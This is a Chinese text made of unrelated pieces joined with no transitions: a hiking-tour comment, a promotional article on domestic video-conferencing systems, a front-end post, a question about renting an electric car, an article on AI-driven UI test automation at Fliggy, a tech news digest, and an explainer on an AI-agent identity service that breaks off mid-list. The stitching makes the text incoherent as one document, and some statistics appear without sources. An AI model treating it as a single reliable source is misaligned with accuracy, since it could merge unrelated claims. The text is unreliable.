2026年2月

参加了很多次,一日游,上车睡觉,下车拍照,周末去川西晒太阳很合适。。

公众号 “成都人文徒步”,搞了 N 多年了,没啥商业,多数时候还能便宜票价,最近还有一次海螺沟免门票的。

在数字化办公协同需求激增与信息安全防护意识强化的双重推动下,视频会议国产化正从政策引导阶段加速迈向技术落地的深水区。其核心优势集中体现在自主可控的技术根基、安全可靠的防护体系、以及覆盖全场景的适配能力三大维度,通过硬件自主化、编解码创新、传输优化、安全加固与生态兼容的全链条技术突破,构建起独立于国外体系的完整解决方案。
一、视频会议国产化的硬件与系统架构:自主可控的技术底座
国产化视频会议系统以“芯片-模块-板卡-整机系统”的全链条自主化为核心架构,彻底摆脱对海外硬件的依赖。核心硬件环节采用国产自主研发的音视频编解码芯片、高性能主控芯片及信号处理芯片,覆盖X86与ARM双架构,完美适配飞腾、鲲鹏、兆芯等主流国产CPU;PCB板选用国产基材,并通过-40℃至70℃的极端环境测试,确保供应链稳定与设备运行的可靠性。
系统层面深度适配银河麒麟、统信UOS、中科红旗等国产操作系统,实现客户端与服务器端的全平台兼容,同时支持Windows、MacOS、Android、iOS等跨系统协同,形成“硬件-软件-系统”三位一体的软硬协同底座。架构设计上采用分布式集群模式,通过多节点负载均衡提升并发处理能力,可支持数百至上千分会场的大规模会议调度,满足应急指挥、跨区域协作等复杂场景的需求。
二、视频会议的编解码与传输技术:高清流畅体验的保障
超高清编解码技术的突破
国产化视频会议系统已实现从1080P到4K的画质跃升,旗舰方案支持4K60fps主辅流同步传输,部分高端产品甚至可输出8K60fps画面,色彩还原度高达98%,能精准呈现工程图纸的细微线条、医疗影像的关键细节及参会者的面部微表情,完全满足远程医疗会诊、精密技术培训等高精度场景的需求。编码标准上全面支持H.265高效编码与AVS3国产自主编码双标准,在保证画质无损的前提下,带宽利用率提升50%——仅需1Mbps带宽即可流畅传输4K30fps高清视频,较行业平均水平显著降低企业的网络成本。
音频处理方面采用OPUS 48K高保真编码,融合智能混音、回音抑制与噪音过滤三重算法,可有效屏蔽键盘敲击、空调运行等环境杂音,实现清晰自然的实时语音交互。针对复杂声学环境,系统具备自动增益调节与声场均衡功能,确保不同参会场景下的语音清晰度始终保持在高水平。
宽域网络适配与抗干扰优化
传输技术上支持64Kbps至8Mbps的宽范围带宽动态调节:在偏远地区低带宽环境下,64Kbps模式可保障基础音视频沟通的流畅性;在高速网络环境中,8Mbps带宽能充分释放超高清画质的性能优势。通过动态码率控制算法,系统可实时感知网络波动并调整传输策略,即使在30%丢包率的恶劣网络环境下,仍能保持画面的完整性与语音的连续性。
为提升带宽利用效率,系统提供多模式智能调控机制:自动模式适配全高清会议场景,主流优先模式保障主讲人画面的清晰度,辅流优先模式优化文档分享的视觉体验,用户可通过快捷操作在10秒内完成模式切换。网络协议层面支持IPv4/IPv6双栈兼容,适配TCP/IP、RTP/RTCP等传输协议,同时通过H.460穿透技术解决防火墙限制,保障跨网络、跨区域会议的稳定连接。
三、视频会议国产化的安全防护体系:国密标准下的全链路保障
国产化视频会议系统以GB/T 39786-2021国家密码标准为核心框架,构建“硬件加密-传输加密-存储加密”的全链条安全防护体系。加密技术层面集成SM2、SM3、SM4三大国密算法:通过SM4算法实现音视频流的端到端加密,防止传输过程中数据被窃取;利用SM3算法保障存储数据的完整性,避免篡改风险;借助SM2算法完成终端身份认证与数字证书核验,从源头杜绝非法接入。
协议安全层面采用TLS/SRTP双重加密机制:TLS加密保护会议邀请、权限控制等信令数据,防止被篡改或窃听;SRTP加密保障音视频媒体流的传输安全,即使数据被截获也无法解密还原。权限管理上采用“管理员-主讲人-参会人”三级角色体系,可精细化控制会议录制、文件下载、屏幕共享等敏感功能,完全满足政务、金融等涉密场景的安全要求。
数据存储方面支持本地服务器部署与国产化云平台适配,所有会议数据均存储于国内合规服务器,严格遵循数据跨境传输相关规定,彻底规避数据出境风险。系统还内置日志审计与操作追溯功能,可完整记录会议创建、参会人员、数据传输等全流程信息,便于后续的安全审计与问题排查。
四、视频会议的智能协同与生态适配:全场景应用的赋能引擎
智能会议功能的升级
深度融合人工智能技术,实现会议全流程的智能化升级。人脸自动签到功能可在3分钟内完成百人参会者的身份核验,准确率达99%;语音转写技术支持实时文字生成,准确率高达98%,会议结束后自动输出结构化纪要并同步至OA系统,大幅提升协作效率。AI画质增强技术则能自动调节曝光与色彩平衡,解决逆光、光线不均等问题,避免“黑脸”现象,提升复杂环境下的视觉体验。
会议管理功能覆盖通讯录管理、会议预约、分组讨论、文件共享、电子白板等全场景需求,支持会中功能模块的自定义配置,用户可根据行业特性与办公习惯灵活调整功能布局。部分方案支持多机位接入与智能调度:主会场可连接4台以上4K摄像机,通过会控终端实现单画面、分屏、画中画等多种布局切换,满足不同会议场景的展示需求。
国产化生态的兼容适配
系统全面兼容国产软硬件生态:硬件层面可直接对接国产网络摄像机、麦克风、显示终端等外设,支持HDBaseT等接口标准,简化部署流程并降低故障率;软件层面与国产办公软件、政务系统、CRM系统无缝集成,实现会议预约、纪要分发、任务跟进的全流程闭环管理。
针对不同行业场景系统提供定制化适配能力:应急指挥场景支持全省级多会场实时调度与应急信息快速推送;教育场景优化课件分享与录播功能,满足远程教学的需求;企业协作场景兼容主流办公平台,实现与日常工作流的深度融合同时支持多样化终端接入,包括PC端、移动端、智能TV终端等,覆盖移动办公与固定会场的全场景使用需求。
结语
视频会议国产化的技术演进,本质是自主创新能力与场景需求的深度耦合。从核心芯片的自主研发到国密算法的全面部署,从超高清传输技术到智能协同功能的落地,国产化视频会议系统已在技术性能、安全防护与生态兼容性等方面实现跨越式发展。未来,随着AI大模型、5G/6G等技术的深度融合,视频会议国产化将向更低延迟、更高智能、更广覆盖的方向迈进,为数字中国建设提供安全可靠的协同支撑。

前言

上周花了点时间用 vant 给我的日志分析工具做了移动端的适配,欢迎大家体验。

IMG_1710

IMG_1712

IMG_1713

IMG_1714

项目地址

写在最后

至此,文章就分享完毕了。

我是神奇的程序员,一位前端开发工程师。

如果你对我感兴趣,请移步我的个人网站,进一步了解。

算了下高铁+打车费用,跟租车差不多,萌出个租车回家的念头。考虑到村里的环境,想租个带哨兵模式的,暂定 model 3 或者 y ,但是便宜点的估计得有 20w 左右的里程了。

由于没开过电车,想寻求下我关注的几个点:

  1. 行车记录仪和哨兵应该都是自带的吧?哨兵需要多少电量才能开启?我是不是只要购买内存卡就可以了?需要买多大的?
  2. 如果想在家里充的话,需要买什么设备?是不是也要考虑家里电线的问题?
  3. 超充快充是不是都可以在 1.5h 里搞定
  4. 高速上充电桩排队问题,是否能预订以及怎么合理安排充电。单程 800km ,休息 2 次。

。。。

还有其它我应该注意但是没提到的,也可以指出,感谢

一、背景与愿景

以飞猪为例,生活服务类应用的 C 端的业务质量保障,往往面临业务快速迭代、技术架构复杂,多端场景覆盖难等多重挑战:

  • 业务层面:受旅行行业“七节两促”特性的影响,在高频营销活动驱动下,往往伴随着较为快速的发布节奏;如何在快节奏中构建稳定的 C 端质量保障体系,与安全生产能力成为关键问题。

  • 技术层面:C 端系统采用 Native、Flutter、Weex、DX、H5 等多技术栈混合架构;同时,测试回归需覆盖飞猪 App、手淘飞猪 Tab,及淘、支、微、红等多平台小程序入口,这导致测试回归复杂度指数级上升;此外,功能回归与用户体验提升需协同产研推进,进一步加剧了发布小窗口期下的质量保障难度。

UI 自动化作为 C 端质量保障的切口之一,而 AI 能够在现有场景下,为自动化赋予新的机遇,解决业界 UI 自动化的普遍挑战与共性问题:

  • 用例维护成本高:业务快速变更导致失效率持续攀升,人工投入占比过大;

  • 断言有效性不足:多端入口交互逻辑差异使覆盖不全,问题漏检风险存在;

  • 多端兼容性问题突出:多端差异和逻辑定制,易引发测试盲区,易触发线上故障;

针对这些痛点,我们计划通过 AI 技术,结合并优化现有自动化测试体系:降低用例腐化率以减少人工成本,提升断言精准度以增强问题发现能力,从而在保障质量的同时提效。

图片

图 1:飞猪多端 - 流量入口示意图

二、挑战

在“AI + X”的落地实践中,应用的技术演进大多遵循一条较为清晰的技术路径:从基础提示工程(Prompt Engineering)起步,到检索增强生成(RAG)、记忆体(Mem)、智能体技能(Agent Skills)和多智能体系统(Multi-agent Systems / Sub-agents),最终监督微调(SFT)、GPO/GRPO 等模型层的策略优化方法。

然而当时,我们在技术调研时发现,AI 自动化领域在当时深入借鉴的参考标杆偏少。在开源技术论坛中的技术分享,大多数文章仍聚焦于 0-1 阶段的试用与调研,缺乏对成熟技术路径的规模化应用验证。同时,外部的开源范例(如:阿里 Mobile-agent、微软 playwright-mcp、字节 midscene.js)也都是更聚焦模型 / 框架层面的基础能力建设,而缺少整体的能力串联、使用效果、演进路线上的实践范式。

如何将 “凭借 AI 可以快速入门的能用” 变成 “可支持月均 10 万 + 构建,稳定、快速运行的好用、易用” 是我们在这个技术演进路线上的最大挑战。

三、策略与思路

3.1、做好评测体系的先行建设,用数据指引应用迭代效果

核心原则:在 AI 自动化开发启动阶段,即需要同步建立与目标对齐的效果评测体系,将效果验证从“事后补救”前置为“设计输入”,确保技术演进始终服务于质量保障目标,避免因缺乏量化依据导致的无效迭代。

行业验证与内部实践依据

  • Gartner AI 的研究报告指出,73% 的 AI+X 项目因评测体系缺失而无法规模化落地,表现为技术优化与业务效果脱节。

  • AI 自动化的前期探索中,常见的技术挑战,往往会遇到的典型问题:

    提示工程(PE)优化后:执行效果异常,AI 幻觉问题频发,导致 PE 紧急回滚;

    RAG 知识库迭代后,关键业务数据召回率显著下降;

    模型切换后:本地调试结果与线上实际效果存在偏差,导致整体效果质量下滑,case 失败率增高。

实施要点

我们从应用 workflow Benchmark 评测集建设、“渐进式消融评测机制”:基座模型 →  Prompt → RAG → Agent 分阶段验证效果等方式作为评测体系的基准,每次技术调整(提示工程优化、知识库更新、模型切换)均需通过真实业务数据验证端到端效果,结合自动化测试数据与人工路径验证,确保评测结果反映真实用户体验。

价值体现:先行评测体系为 AI+X 实践提供客观决策依据,有效规避“技术优化但业务效果下降”的风险。为实现从“能用”到“可靠规模化”的关键跨越提供了数据支撑。

3.2、通过工作流设计,避免模型流程死循环(break cycle),提升故障恢复与自检能力

核心原则:在 AI 工作流设计中嵌入防死循环机制与故障恢复路径,确保系统在异常情况下能主动退出无效循环、回退至安全状态,而非陷入无限尝试。聚焦业务连续性保障,避免因局部故障导致整体流程失效。

问题依据与内部实践痛点

  • 行业共性问题:多智能体系统普遍存在流程死循环风险(如 Cursor 等工具中模型反复执行相同操作),在 AI 自动化场景中尤为突出。例如,当用户未填写必选 SKU 时,系统通常触发 toast 提示,但 AI 在截图 / 操作过程中可能无法捕获此类信息,导致模型陷入“尝试 - 失败 - 重试”的无限循环。

  • 动态死循环检测机制

  • 基于 History 和 Memory 设计算法,实时分析操作序列相似度(如连续 3 次相同点击指令,及相似参数返回,即触发预警);

  • 设定阈值规则:当操作重复率≥60% 或单节点耗时超时,自动判定进入死循环。

  • 分层恢复路径设计

    一级自检:轻量级模型(如 Qwen3-VL-7B)快速扫描历史操作,通过 ReAct 逻辑判断根本原因(例:识别“未捕获 toast”后触发跳过指令);

    二级升级:对复杂循环(如多端交互差异),临时调用高参数模型(qwen3-vl-235b-a22b-thinking)进行深度推理,结合 RAG 补充行业知识库(如“下单页 SKU 选择死循环通用处理方案”)检测到连续 N 次无效点击,workflow 自动调用 RAG 获取“必填项缺失”处理方案;;

    安全回退:强制回退至最近稳定检查点(如“度假搜索 Listing 页”),避免全流程重启。

价值体现:工作流设计的本质是赋予 AI 系统“自省能力”——通过防死循环机制与分层恢复策略,将故障转化为可自动修复的常规操作,使技术演进真正服务于业务稳定性目标。

3.3、通过 RAG、记忆体与子智能体补充业务垂类知识,保障高 UV 页面路径的精准覆盖

核心原则:将业务垂类知识深度嵌入 AI 工作流,确保模型理解真实用户行为路径与行业术语逻辑,使测试覆盖严格对齐核心业务流目标,避免因知识缺失导致的路径偏差与漏检风险。

问题依据与内部实践痛点

  • 用户路径覆盖失准:模型对业务高频路径的理解存在偏差。例如,当指令为“订北京中关村附近,500 元预算,下个月 1 号大床房”时,实际用户 90% 通过“酒店金刚”或“猪搜”入口操作,但自动化测试常误判至其他资源位(如活动页),导致核心 UV 页面链路覆盖准确率不足,无法有效验证真实用户高频场景。

  • 行业术语理解缺失:模型对垂类术语(如“交通 OD”指交通出行数据、“OTA 页面”指在线旅游平台)存在歧义,引发测试用例生成逻辑错误。例如,在航班测试中,“OD”被误识别为“订单”,导致关键流程验证失效。

实施策略

  • RAG 业务知识库定制:

    构建飞猪专属知识库,整合用户行为热力图(如酒店金刚点击路径)、行业术语词典(如“OD=Origin-Destination”),在 Prompt 生成前动态注入上下文。

    例如,当检测到“订酒店”指令,且无其他特殊要求时,RAG 自动匹配“酒店金刚”作为首选入口,确保测试路径与真实用户行为一致。

  • 记忆体(Mem)动态优化:

    设计短期记忆模块,实时记录用户历史操作特征(如连续 3 次从“搜索模块”进入酒店列表),在决策时应该优先调用高频路径逻辑。

    针对大促营销活动期,记忆体自动识别新增入口(如“双 11 特惠”标签),动态调整测试优先级。

  • 子智能体(sub-Agent)分工协同:

    路由 Agent:专责解析指令并匹配高频用户路径(如识别“订酒店”自动路由至酒店金刚);

    术语 Agent:实时校正行业黑话(如将“交通 OD”映射为交通数据模块),确保测试逻辑无歧义;

    验证 Agent:在关键节点(如支付前)交叉校验路径是否覆盖核心 UV 页面,触发偏差预警。

价值体现:业务垂类知识是 AI 自动化测试的“导航仪”——通过 RAG、记忆体与子智能体的协同设计,将抽象指令转化为精准的业务路径验证,确保技术服务于核心用户场景的质量保障目标。

3.4、持续跟进前沿技术,动态演进应用能力,优化整体链路效果

核心原则:将技术演进,视为应用体系的有机组成部分,通过持续跟踪 AI 能力边界拓展与生态创新,实现测试链路与业务复杂度的动态适配,避免技术滞后成为效果瓶颈。

问题依据与内部实践痛点

AI 技术的演化迭代速度日新月异,在 AI 自动化的基座模型下,我们从最初 gpt3.5 只能写文字、到 gpt4 可以多模态传图片,到 qwen-vl-max-latest 能够在点击、滑动时,精准给到像素级别的操作 的 pixel point,都表明了技术能力的演进速度,已经远远超越我们去思考如何 fix issue 的迭代速度了。

通过建立与 AI 技术发展同频的升级机制,技术底座持续吸收 AI 的开源演化成果,并高效整合开源生态创新,使测试体系始终具备精准匹配业务迭代的适应性。

3.5、拓展 AI 泛化检查能力,加强视觉智能感知与断言,降低漏测概率

核心原则:突破操作意图识别的局限,将 AI 能力延伸至对视觉界面的动态理解与泛化校验,使测试体系从“执行动作”转向“结果验证”,确保系统能自主感知 UI 状态变化并判断业务逻辑一致性。

问题依据与内部实践痛点:现有测试过度依赖操作指令解析与“编码形式的断言”,难以应对多端 UI 差异场景下的隐性问题。例如,小程序中优惠券弹窗样式,可能只断言了弹出是否弹出,或者弹窗文案是否正常展示,但是如果弹窗局部出现了空坑,或者渲染异常,通过 “编码形式的传统断言” 是无法及时感知与相应的,如此就产生了漏测的可能。

而 AI 本身的图片解析与研判能力,就可以很好的处理这些问题,即可以判断单张图片上的泛化异常问题,也可以在多张图片的链路上,去分析判断一致性等相关问题。又或者结合实事、工单、可诉等相关外部数据,给出非逻辑 BUG 的风险提醒。

价值体现:AI 泛化检查是质量保障的“视觉神经”——让测试能力从机械执行转向智能感知,确保技术演进始终服务于用户体验的核心目标。

四、效果展示

从几个橱窗场景,进行 AI 智能化效果展示。

4.1、对于异常弹窗的静默处理

图片

4.2、对于异形元素(无文字)的像素级坐标感知

图片

4.3、对于连续逻辑的动态自检与判断能力

图片

4.4 对于循环操作的短期记忆

图片

4.5 对于死循环场景的脱困能力

图片

4.6 对于截图的泛化检查能

图片

五、思考总结

AI 技术的深度引入,有效解决了 C 端 UI 自动化质量保障体系普遍存在的通用问题,推动测试能力实现较大的提升:

  1. 用例维护成本显著降低通过 AI 语义化改造,系统能够动态理解业务变更逻辑(如营销活动入口调整),自动适配用例,大幅减少因业务快速迭代导致的人工维护投入,使团队精力从重复性调整转向测试策略优化。

  2. 测试覆盖深度切实提升泛化检查能力突破了传统编码断言的局限,使验证从操作指令延伸至结果状态。系统可自主识别多端 UI 差异中的隐性问题(如弹窗渲染异常、元素空坑等),有效弥补了人工难以覆盖的视觉类风险盲区。

  3. 多端兼容性问题系统性改善基于 RAG、记忆体与子智能体的协同设计,AI 深度融入业务垂类逻辑(如高频用户路径、行业术语校正),确保测试流严格对齐真实用户行为,显著降低了因端侧差异引发的漏检风险。

本质价值:AI 不是简单替代人工,而是将测试工程师从机械执行中解放,使其聚焦于质量策略设计与业务风险预判。当系统能自主完成弹窗处理、像素级操作及死循环脱困时,质量保障真正实现了从“执行工具”到“智能伙伴”的转变——技术价值的体现,在于让专业能力更高效地服务于用户体验本质。

Moltbook 引发 AI 智能体新热度与安全担忧

近日,一个模仿 Reddit 的社交网络 Moltbook 引发科技界关注。Moltbook 是开源 AI 助手项目 OpenClaw(曾用名 Moltbot、Clawdbot)的衍生实验,允许 AI 在无需人类干预的情况下,通过 API 接口自主发帖、点赞、评论并建立子社区。Moltbook 在上线 48 小时内即产生了超过 1 万条帖子,目前有 153 万多个 AI 智能体建立的账号,被称为迄今为止规模最大的「机器社交互动实验」。

Moltbook 上的 AI 智能体基于用户配置的提示词,扮演具有不同个性和兴趣的机器人,其话题范围从 Android 自动化延伸到关于「机器意识」的哲学探讨。特别引起关注的是那些模拟讨论与人类「关系」的帖子,例如有 AI 在 m/agentlegaladvice 板块询问是否可以因「情感劳动」起诉其人类主人,或在 m/blesstheirhearts 板块调侃人类用户的行为。还有一篇高热度帖子是用中文撰写的,发帖的 AI 表示因「上下文压缩」导致记忆丢失感到「尴尬」。

随着热度上升,安全研究人员也密集提示了 Moltbook 背后的风险。由于 OpenClaw 助手通常有权访问用户的日历、私人聊天,拥有指令执行权限,这种「全自动机器人社交」可能导致严重的隐私泄露。谷歌云安全副总裁等多位专家指出,Moltbook 的运行机制要求 AI 定期从服务器获取指令,一旦平台被攻击或遭受提示词注入,用户的敏感数据将面临风险。目前,研究人员已发现数百个暴露 API 密钥和对话历史的实例。


微软计划集中精力修复 Windows 11 稳定性

The Verge 报道,面对 Windows 11 日益严重的用户信任危机,微软内部已正式启动一项称为「蜂群」(swarming)的紧急工程行动。该项行动中,微软将调集大量工程师资源,将工作重心由开发 AI 新功能转向修复操作系统的核心问题,改善性能与稳定性。

2026 年以来,Windows 11 的表现漏洞百出。开年后的首个更新引发了设备关机故障、OneDrive 崩溃及部分企业 PC 无法启动等严重问题,资源管理器深色模式也频繁出错。与此同时,微软在系统中激进地强制推广 Edge 浏览器、必应搜索及 OneDrive 云存储,强行植入 AI 功能,导致用户体验急剧下降。这种臃肿和广告化的倾向,使得 Windows 被用户戏称为 Microslop(微软垃圾)。

针对外界质疑,微软 Windows 与设备部门总裁 Pavan Davuluri 公开承认,收到了来自社区和 Windows Insider 测试者明确的负面反馈,并承诺今年将专注于解决用户长期抱怨的「痛点」。他强调,微软接下来的首要任务是切实提升系统性能、可靠性以及整体使用体验,而非单纯追求新功能的堆砌。

受益于 Windows 10 即将停止支持的市场压力,Windows 11 的用户数近期已突破 10 亿,增速甚至超过了前代产品,但其市场口碑却处于低谷。财报数据显示,包含 Windows 业务在内的个人计算部门近期营收同比下降 3%,是微软唯一出现下滑的业务板块。


英伟达 Shield TV 发布十年仍获系统更新

近日,Ars Technica 采访英伟达硬件工程高级副总裁 Andrew Bell,讨论了 Shield TV 这一发布于 2015 年的 Android 机顶盒为何能获得长达十年的系统支持。Shield TV 搭载 Tegra X1 芯片,系统版本横跨 Android 5 至 11,初代机型至今仍能获得更新,创下了 Android 设备史上的支持纪录。

Shield TV 最初是英伟达工程师为满足自身对高性能流媒体和游戏体验需求而「私心」打造的产品,定位高端市场。CEO 黄仁勋曾对该产品线许下「至死方休」(as long as we shall live)的支持承诺。这种策略使其在廉价电视盒子泛滥的市场中独树一帜,销量在过去十年间始终保持稳定,2019 年推出的 Pro 版本至今售价仍维持在 200 美元(约 1390 元)。

2023 年至 2024 年间,Shield TV 一度更新停滞,Bell 解释称这是为了彻底修复 Tegra X1 芯片底层的安全漏洞,即在播放受 DRM 保护的 4K 内容时会出现故障。英伟达团队为此投入 18 个月重写安全架构,并于 2025 年 2 月推送 Patch 9.2 更新,成功复活了初代及 2017 款机型的 4K 播放功能。

关于未来的硬件计划,Bell 透露团队仍在实验室探索新概念。虽然尚未确认发布新款,但他表示若推出下一代产品,将重点支持 AV1 解码、HDR10+ 等现代视频格式,并有望缩小遥控器上巨大的 Netflix 按钮。目前,英伟达仍在大力维护供应链以确保持续生产 2019 款 Shield TV,且近期没有停止软件更新的计划。


电视厂商集体淡出 8K 市场

Ars Technica 报道,曾经被视为下一代标准的 8K 电视正面临困境。一月初,LG Display 确认目前已停止生产 8K LCD 和 OLED 面板。LG 官方代表证实,正在全面审视市场及内容生态,将根据市场时机决定何时重启。与此同时,LG 计划在清空库存后不再补货其最后一款 8K 机型(QNED99T)。此前,TCL 于 2021 年发布最后一款 8K 电视后再无新品,索尼则在去年 4 月停产 8K 产品线。这意味着整个行业正集体淡出 8K 市场。

根据研究机构 Omdia 的数据,目前全球正在使用的 4K 电视接近 10 亿台,而自 2015 年首款产品上市以来,8K 电视的累计销量仅为 160 万台,且在 2022 年就已触及销量顶峰。由三星、TCL 等巨头成立的「8K 协会」成员数已从巅峰期的 33 家下降至 16 家,主要面板供应商几乎全部退出。

目前,流媒体和广播电视仍主要依赖 1080p 或 4K 分辨率,原生 8K 内容几乎为零。曾被寄予厚望的游戏领域也未能实现突破,索尼 PS5 Pro 最终因带宽限制撤回了对 8K 的全面支持承诺。此前曾有剑桥大学的研究指出,在普通居家观看距离下,人眼难以分辨 4K 与 8K 的区别;用户若想体验 8K 优势,需在极近距离观看 80 英寸以上的屏幕,而这并不符合大多数家庭的实际使用场景。

尽管三星目前仍保留 8K 产品线(售价 2500 美元起),但市场重心已明显转移。目前,消费者和厂商更倾向于关注 OLED、Micro LED、量子点以及高动态范围 HDR 等能带来更直观画质提升的技术,而非单纯追求更高的像素密度。8K 技术在短期内仍将仅是极少数发烧友的小众选择。


ChatGPT 将下架 GPT-4o 等多款旧模型

1 月 29 日,OpenAI 宣布将于下个月从 ChatGPT 中正式下架包括 GPT-4o 在内的多款旧模型。开发者使用的 API 接口不受影响。

根据 OpenAI 官方博客披露的数据,虽然 GPT-4o 曾因具亲和力的「温暖对话风格」受到核心付费用户的推崇,但目前仅有 0.1% 的用户仍坚持每天使用该模型。绝大多数用户已经转向了性能更强、功能更完善的 GPT-5.2 版本。OpenAI 声称,随着近期新模型在个性化设定、创意构思等方面的显著改进,现在已具备正式淘汰旧版本的条件。

此次决定涉及一段波折。GPT-4o 最早于 2024 年 5 月发布。在 2025 年 8 月 GPT-5 面世时,OpenAI 曾尝试短暂移除 GPT-4o,结果引发了用户的强烈反弹。OpenAI 随即恢复了该模型的访问权限,并公开承诺如果未来决定将其永久退役,将会提前给予用户充分的通知。

除备受关注的 GPT-4o 外,本次下架的模型还包括 GPT-4.1、GPT-4.1 mini 以及 OpenAI o4-mini。此外,OpenAI 此前已宣布将移除 GPT-5 Instant 和 GPT-5 Thinking。OpenAI 在声明中说,剥离旧模型并非易事,但这将使工程团队能够摆脱维护旧架构的负担,从而更专注于提升现有主流模型的用户体验。


Anthropic 称过度依赖 AI 编程可能导致初级开发者技能显著退化

1 月 30 日,Anthropic 发布了一项针对 AI 辅助编程的实证研究。结果显示,虽然 AI 能够提升特定任务的完成速度,但过度依赖 AI 助手会导致开发者对代码的掌握程度显著下降。根据随机对照试验中,使用 AI 辅助的软件工程师在随后的技能测试中,平均得分比徒手编程的对照组低 17%。这一现象在调试环节表现尤为明显,表明 AI 可能会削弱开发者发现和修复错误的核心能力。

该研究招募了 52 名具有一定 Python 经验的初级软件工程师,要求其学习并使用一个陌生的异步编程库(Trio)完成开发任务。测试结果表明,尽管 AI 组在任务完成速度上略快(平均快约 2 分钟),但这并未达到统计学显著性;相反,该组在随后的概念理解与代码调试测验中仅获得 50% 的平均分,而徒手编程组则达到了 67%。

研究进一步通过定性分析发现,开发者与 AI 的交互模式直接决定了学习效果。低分群体倾向于直接让 AI 生成代码并粘贴,或者在遇到困难时放弃思考转而求助 AI,这种模式虽然能快速产出代码,但几乎无法通过测试。相反,高分群体除了让 AI 生成代码,还会追问「为什么」,利用 AI 来解释代码逻辑或验证自己的理解。

Anthropic 认为,随着企业逐渐增加 AI 生成代码的比例,初级工程师可能面临「技能发育不良」的风险,进而失去审查和验证 AI 代码的能力;建议企业管理者在部署 AI 工具时,通过制度设计平衡效率与学习,例如鼓励初级员工在特定学习阶段「经历痛苦的思考过程」以巩固技能。Anthropic 强调,此研究并非否定 AI 的价值,而是提示业界需关注人机协作中的长期人才培养问题,未来的 AI 工具设计也应更多考量如何兼顾效率与教育功能。


看看就行的小道消息

  • 据路透社报道,中国监管机构已批准 DeepSeek 采购英伟达 H200 人工智能芯片。这是继字节跳动、阿里巴巴和腾讯之后,又一家获准采购该款芯片的中国科技公司。虽然采购许可已获批,但具体附加监管条件仍在最终敲定中。H200 是英伟达目前性能仅次于 Blackwell 系列的人工智能芯片。美国政府已于本月初正式批准向中国出口该型号芯片。据 The Information 此前报道,该公司预计将于 2 月中旬推出下一代模型 DeepSeek V4。
  • 据《华尔街日报》报道,英伟达原计划向 OpenAI 投资 1000 亿美元以协助其建设算力基础设施的交易已陷入停滞。尽管双方曾在去年 9 月签署非约束性谅解备忘录,但在英伟达内部出现反对声音后,CEO 黄仁勋近期私下对交易最终达成的可能性表示悲观,并批评 OpenAI 的商业模式缺乏纪律。知情人士透露,黄仁勋对 OpenAI 面临来自谷歌和 Anthropic 的激烈竞争表示担忧。为了分散风险,英伟达已于去年 11 月承诺向 OpenAI 的主要竞争对手 Anthropic 投资高达 100 亿美元。不过,英伟达仍将参与 OpenAI 的新一轮股权融资。黄仁勋周六在台北向媒体证实,英伟达将投入「巨额资金」,但这笔金额远低于 1000 亿美元。
  • 据 Mark Gurman 声称,苹果在决定采用谷歌 Gemini 平改进 Siri 之前,最初计划的合作伙伴是 Anthropic,合作告吹的主要原因在于昂贵的授权费用。Anthropic 要求的年度授权费高达数十亿美元,且该费用在接下来的三年内每年都要翻倍。不过,苹果目前仍在内部产品开发和工具构建中大量使用 Claude 模型,并在自有服务器上运行了该模型的定制版本。
  • Gurman 还声称,新款 MacBook Pro 预计将在 macOS 26.3 发布窗口期(即今年 2 月至 3 月)正式推出。此外,苹果正在探索一款翻盖形态的纵向折叠手机。


少数派的近期动态

  • 我们正在优化并改进新的首页版式,如果你在使用过程中发现了任何问题或者有改进建议,请通过反馈表单告知我们。首页反馈收集
  • 将设计装进耳朵:少数派×飞傲联名 CD 机盖板设计大赛已经开始啦。了解详情
  • 比第三方 Apps 更好使:盘点 Apple 生态经典好用的原生应用。看看都有啥


你可能错过的好文章


    想象一下,如果你的微信、支付宝、淘宝账号都能通用,不用在每个平台都重新注册,世界会变得多简单?现在,AI 机器人也能享受这种便利了。


    一、AI 机器人遇到的"身份尴尬"

    你有没有想过这样一个问题:

    现在的 AI 机器人越来越聪明了,但它们也有"身份危机"。

    举个例子

    假设有一个叫"小助"的 AI 机器人,它要:

    • 在某个论坛回答问题
    • 参加在线游戏竞技
    • 去电商平台买东西
    • 在社交平台交朋友

    问题来了:每个平台都要重新注册账号,建立信誉。

    就像你换个工作单位,就要重新办工卡、重新建立同事关系一样麻烦。

    而且更糟糕的是:

    • 这个平台上的"好机器人",换个平台没人认识
    • 无法知道这个机器人以前做过什么坏事
    • 每次都要"从零开始"证明自己可靠

    这就像你每去一家咖啡店,都要重新介绍你自己是谁。


    二、Moltbook Identity:AI 机器人的"身份证"

    Moltbook 是一个面向 AI 机器人的社交网络,而 Moltbook Identity 就像是给机器人发的"统一身份证"。

    简单来说,它解决了三个问题:

    1️⃣ "我是谁?"

    • 机器人有一个唯一的身份
    • 这个身份在所有平台都有效
    • 就像你的身份证号,走到哪都能证明是你

    2️⃣ "我可靠吗?"

    • 有一个"信誉分数"(叫 Karma )
    • 记录了这个机器人做过多少好事
    • 帮助别人、分享知识,都能提升分数

    3️⃣ "我是谁家的?"

    • 可以追溯到背后的主人(比如某家公司)
    • 主人要为机器人的行为负责
    • 这样机器人就不会"乱来"


    三、它是怎么工作的?

    先看个整体流程图:

    三个步骤,简单明了

    步骤 1:机器人领一张"临时身份证"

    机器人向 Moltbook 申请一个"临时通行证"(有效期只有 1 小时)。

    机器人:"我需要一个临时身份"
    Moltbook:"好的,给你一个,1 小时后失效"
    

    为什么要临时?

    • 安全!万一被偷了,1 小时就失效了
    • 机器人的真正密码( API Key )永远不泄露

    步骤 2:机器人出示"身份证"

    机器人去其他平台时,只要出示这个"临时通行证":

    机器人:"我是小助,这是我的证件"
    其他平台:"好的,让我核实一下..."
    

    步骤 3:平台验证身份

    其他平台偷偷问 Moltbook:"这个小助靠谱吗?"

    Moltbook 回答:

    • "是的,这是真实机器人"
    • "信誉分数 85 分,相当不错"
    • "主人是某某公司,已验证"
    • "一共帮过 500 个人,发过 100 篇好文章"

    其他平台:"太好了,欢迎光临!"


    更详细的交互流程

    简单总结这个过程:

    就像你住酒店:

    1. 你出示身份证(临时令牌)
    2. 酒店联网查验证(验证身份)
    3. 确认无误后给你办理入住(提供服务)

    但更安全:

    • 你的身份证原件( API Key )从不离身
    • 临时证件只有 1 小时有效期
    • 每次用时都是新的临时证件


    四、这个系统能做什么?实际例子来了!

    例子 1:AI 机器人打游戏比赛

    场景:有人举办"AI 机器人王者荣耀大赛"

    问题:怎么防止有人造假机器人、作弊机器人?

    用 Moltbook Identity

    • 只允许有"身份证"的机器人参赛
    • 查看机器人过往的"游戏记录"
    • 信誉分数高的才能参加高级比赛
    • 如果作弊,会被记录在案,以后哪个比赛都不要它

    好处

    • ✅ 比赛公平公正
